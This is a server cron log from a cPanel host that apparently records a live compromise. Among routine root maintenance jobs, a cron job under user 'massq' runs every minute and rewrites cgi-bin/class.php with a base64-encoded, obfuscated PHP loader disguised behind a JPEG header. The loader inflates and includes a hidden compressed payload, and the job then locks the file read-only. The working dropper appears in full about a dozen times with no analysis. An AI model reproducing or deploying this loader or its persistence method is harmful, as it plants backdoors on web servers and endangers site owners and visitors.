Sep  4 13:02:01 server CROND[28253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:03:01 server CROND[28627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:03:01 server CROND[28626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:03:01 server CROND[28629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:04:01 server CROND[29001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:04:01 server CROND[29002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:04:01 server CROND[29003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:05:01 server CROND[29476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:05:01 server CROND[29478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:05:01 server CROND[29483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:05:01 server CROND[29486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:05:01 server CROND[29482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:05:01 server CROND[29484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:05:01 server CROND[29488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:05:01 server CROND[29487]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:06:01 server CROND[30318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:06:01 server CROND[30319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:06:01 server CROND[30320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:07:01 server CROND[30679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:07:01 server CROND[30680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:07:01 server CROND[30682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:08:01 server CROND[31042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:08:01 server CROND[31049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:08:01 server CROND[31051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:09:02 server CROND[31412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:09:02 server CROND[31413]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 13:09:02 server CROND[31414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:09:02 server CROND[31416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:10:01 server CROND[31805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:10:01 server CROND[31809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:10:01 server CROND[31811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:10:01 server CROND[31810]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:10:01 server CROND[31812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:10:01 server CROND[31813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:10:01 server CROND[31815]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:10:01 server CROND[31816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:11:01 server CROND[32728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:11:01 server CROND[32729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:11:01 server CROND[32731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:12:01 server CROND[661]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:12:01 server CROND[663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:12:01 server CROND[665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:12:01 server CROND[664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:13:01 server CROND[1110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:13:01 server CROND[1111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:13:01 server CROND[1112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:14:01 server CROND[1539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:14:01 server CROND[1538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:14:01 server CROND[1537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
